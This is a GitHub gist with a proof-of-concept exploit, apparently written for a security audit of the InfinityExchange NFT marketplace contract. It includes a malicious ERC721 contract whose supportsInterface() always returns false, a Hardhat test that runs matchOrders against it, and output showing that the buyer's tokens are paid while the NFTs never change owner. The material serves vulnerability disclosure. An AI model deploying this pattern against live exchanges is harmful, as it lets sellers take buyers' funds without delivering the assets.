Skip to content

Instantly share code, notes, and snippets.

@kylriley
Last active November 16, 2022 21:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kylriley/3bf0e03d79b3d62dd5a9224ca00c4cb9 to your computer and use it in GitHub Desktop.
Save kylriley/3bf0e03d79b3d62dd5a9224ca00c4cb9 to your computer and use it in GitHub Desktop.

Description

The solidity file is an NFT contract that overrides the supportsInterface() function to always return false. As a result, when matchOrders() is called in the test, the NFT is not transferred, but the tokens are.

Setup

  1. Add exchangeMatchMultipleConstructedEvil1.js to the test/ directory.
  2. Add EvilMockERC721.sol to contracts/ directory.
  3. Run npx hardhat test ./test/exchangeMatchMultipleConstructedEvil1.js

Output

======= BEFORE MATCH ========
Owner of 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512  #0 - 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Owner of 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512  #1 - 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Owner of 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512  #2 - 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
balance of 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 - 500000000000000000000000
balance of 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 - 500000000000000000000000
======= AFTER MATCH ========
Owner of 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512  #0 - 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Owner of 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512  #1 - 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Owner of 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512  #2 - 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
balance of 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 - 499998999803523998428192
balance of 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 - 500000975000000000000000
balance is transferred, but NFT owners remain the same
// SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import {ERC721URIStorage} from '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import {ERC721} from '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import {Ownable} from '@openzeppelin/contracts/access/Ownable.sol';
contract EvilMockERC721 is ERC721URIStorage, Ownable {
uint256 numMints;
constructor(string memory name, string memory symbol) ERC721(name, symbol) {
for (uint256 i = 0; i < 100; i++) {
_safeMint(msg.sender, numMints++);
}
}
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
// Evil override of the ERC165 interface function to pretend to not support interface - could happen in the case of an older NFT
// that does not support ERC165
return false;
}
}
const { expect } = require('chai');
const { ethers, network } = require('hardhat');
const { deployContract, nowSeconds, NULL_ADDRESS } = require('../tasks/utils');
const { prepareOBOrder, getCurrentSignedOrderPrice, approveERC20, getCurrentOrderPrice } = require('../helpers/orders');
const { erc721Abi } = require('../abi/erc721');
describe('Exchange_Match_Multiple_Constructed', function () {
let signers,
signer1,
signer2,
signer3,
token,
infinityExchange,
mock721Contract1,
mock721Contract2,
mock721Contract3,
obComplication;
const buyOrders = [];
const sellOrders = [];
let signer1Balance = toBN(0);
let signer2Balance = toBN(0);
let signer3Balance = toBN(0);
let totalProtocolFees = toBN(0);
let orderNonce = 0;
const FEE_BPS = 250;
const UNIT = toBN(1e18);
const INITIAL_SUPPLY = toBN(1_000_000).mul(UNIT);
const totalNFTSupply = 100;
const numNFTsToTransfer = 50;
const numNFTsLeft = totalNFTSupply - numNFTsToTransfer;
function toBN(val) {
return ethers.BigNumber.from(val.toString());
}
before(async () => {
// signers
signers = await ethers.getSigners();
signer1 = signers[0];
signer2 = signers[1];
signer3 = signers[2];
evil = signers[3];
for (let i = 0; i < 4; i++) {
console.log(`signer ${i} - ${signers[i].address}`)
}
// token
token = await deployContract('MockERC20', await ethers.getContractFactory('MockERC20'), signers[0]);
// NFT contracts
mock721Contract1 = await deployContract('EvilMockERC721', await ethers.getContractFactory('EvilMockERC721'), signer1, [
'Mock NFT 1',
'MCKNFT1'
]);
mock721Contract2 = await deployContract('MockERC721', await ethers.getContractFactory('MockERC721'), signer1, [
'Mock NFT 2',
'MCKNFT2'
]);
mock721Contract3 = await deployContract('MockERC721', await ethers.getContractFactory('MockERC721'), signer1, [
'Mock NFT 3',
'MCKNFT3'
]);
// Exchange
infinityExchange = await deployContract(
'InfinityExchange',
await ethers.getContractFactory('InfinityExchange'),
signer1,
[token.address, signer3.address]
);
// OB complication
obComplication = await deployContract(
'InfinityOrderBookComplication',
await ethers.getContractFactory('InfinityOrderBookComplication'),
signer1
);
// add currencies to registry
await infinityExchange.addCurrency(token.address);
await infinityExchange.addCurrency(NULL_ADDRESS);
// add complications to registry
await infinityExchange.addComplication(obComplication.address);
// send assets
await token.transfer(signer2.address, INITIAL_SUPPLY.div(2).toString());
for (let i = 0; i < numNFTsToTransfer; i++) {
await mock721Contract1.transferFrom(signer1.address, signer2.address, i);
await mock721Contract2.transferFrom(signer1.address, signer2.address, i);
await mock721Contract3.transferFrom(signer1.address, signer2.address, i);
}
});
describe('Setup', () => {
it('Should init properly', async function () {
expect(await token.decimals()).to.equal(18);
expect(await token.totalSupply()).to.equal(INITIAL_SUPPLY);
expect(await token.balanceOf(signer1.address)).to.equal(INITIAL_SUPPLY.div(2));
expect(await token.balanceOf(signer2.address)).to.equal(INITIAL_SUPPLY.div(2));
expect(await mock721Contract1.balanceOf(signer1.address)).to.equal(numNFTsLeft);
expect(await mock721Contract1.balanceOf(signer2.address)).to.equal(numNFTsToTransfer);
expect(await mock721Contract2.balanceOf(signer1.address)).to.equal(numNFTsLeft);
expect(await mock721Contract2.balanceOf(signer2.address)).to.equal(numNFTsToTransfer);
expect(await mock721Contract3.balanceOf(signer1.address)).to.equal(numNFTsLeft);
expect(await mock721Contract3.balanceOf(signer2.address)).to.equal(numNFTsToTransfer);
});
});
describe('MultipleCollectionsAnyOneTokenBuy3', () => {
it('Signed order should be valid', async function () {
const user = {
address: signer1.address
};
const chainId = network.config.chainId ?? 31337;
const nfts = [
{
collection: mock721Contract1.address,
tokens: []
},
];
const execParams = { complicationAddress: obComplication.address, currencyAddress: token.address };
const extraParams = {};
const nonce = ++orderNonce;
const orderId = ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256'], [user.address, nonce, chainId]);
const numItems = 3;
const order = {
id: orderId,
chainId,
isSellOrder: false,
signerAddress: user.address,
numItems,
startPrice: ethers.utils.parseEther('1'),
endPrice: ethers.utils.parseEther('1'),
startTime: nowSeconds(),
endTime: nowSeconds().add(24 * 60 * 60),
nonce,
nfts,
execParams,
extraParams
};
const signedOrder = await prepareOBOrder(user, chainId, signer1, order, infinityExchange);
expect(signedOrder).to.not.be.undefined;
buyOrders.push(signedOrder);
});
});
describe('MultipleCollectionsAnyOneTokenSell_ETH3', () => {
it('Signed order should be valid', async function () {
const user = {
address: signer2.address
};
const chainId = network.config.chainId ?? 31337;
const nfts = [
{
collection: mock721Contract1.address,
tokens: []
},
];
const execParams = { complicationAddress: obComplication.address, currencyAddress: NULL_ADDRESS };
const extraParams = {};
const nonce = ++orderNonce;
const orderId = ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256'], [user.address, nonce, chainId]);
const numItems = 3;
const order = {
id: orderId,
chainId,
isSellOrder: true,
signerAddress: user.address,
numItems,
startPrice: ethers.utils.parseEther('1'),
endPrice: ethers.utils.parseEther('1'),
startTime: nowSeconds(),
endTime: nowSeconds().add(24 * 60 * 60),
nonce,
nfts,
execParams,
extraParams
};
const signedOrder = await prepareOBOrder(user, chainId, signer2, order, infinityExchange);
expect(signedOrder).to.not.be.undefined;
sellOrders.push(signedOrder);
});
});
describe('Match_All', () => {
it('Should match valid orders', async function () {
// order 8
const buyOrder8 = buyOrders[0];
const sellOrder8 = sellOrders[0];
const constructedOrder8 = { ...buyOrder8 };
// form matching nfts
const nfts8 = [
{
collection: buyOrder8.nfts[0].collection,
tokens: [
{
tokenId: 0,
numTokens: 1
}
]
},
{
collection: buyOrder8.nfts[0].collection,
tokens: [
{
tokenId: 1,
numTokens: 1
}
]
},
{
collection: buyOrder8.nfts[0].collection,
tokens: [
{
tokenId: 2,
numTokens: 1
}
]
}
];
constructedOrder8.nfts = nfts8;
// owners before sale
for (const item of nfts8) {
const collection = item.collection;
const contract = new ethers.Contract(collection, erc721Abi, signer1);
for (const token of item.tokens) {
const tokenId = token.tokenId;
expect(await contract.ownerOf(tokenId)).to.equal(signer2.address);
}
}
// balance before sale
expect(await token.balanceOf(signer1.address)).to.equal(INITIAL_SUPPLY.div(2));
expect(await token.balanceOf(signer2.address)).to.equal(INITIAL_SUPPLY.div(2));
let numTokens = constructedOrder8.nfts.reduce((acc, nft) => {
return (
acc +
nft.tokens.reduce((acc, token) => {
return acc + token.numTokens;
}, 0)
);
}, 0);
console.log('total numTokens in order', numTokens);
const sellOrdersToMatch = [
sellOrder8,
];
const buyOrdersToMatch = [
buyOrder8,
];
const constructedNftsToMatch = [
constructedOrder8.nfts,
];
console.log(`======= BEFORE MATCH ========`)
for (const item of nfts8) {
const collection = item.collection;
const contract = new ethers.Contract(collection, erc721Abi, signer1);
for (const token of item.tokens) {
const tokenId = token.tokenId;
console.log(`Owner of ${collection} #${tokenId} - ${await contract.ownerOf(tokenId)}`)
}
}
console.log(`balance of ${signer1.address} - ${await token.balanceOf(signer1.address)}`)
console.log(`balance of ${signer2.address} - ${await token.balanceOf(signer2.address)}`)
await infinityExchange.connect(signer3).matchOrders(sellOrdersToMatch, buyOrdersToMatch, constructedNftsToMatch);
console.log(`======= AFTER MATCH ========`)
for (const item of nfts8) {
const collection = item.collection;
const contract = new ethers.Contract(collection, erc721Abi, signer1);
for (const token of item.tokens) {
const tokenId = token.tokenId;
console.log(`Owner of ${collection} #${tokenId} - ${await contract.ownerOf(tokenId)}`)
}
}
console.log(`balance of ${signer1.address} - ${await token.balanceOf(signer1.address)}`)
console.log(`balance of ${signer2.address} - ${await token.balanceOf(signer2.address)}`)
console.log(`balance is transferred, but NFT owners remain the same`)
});
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment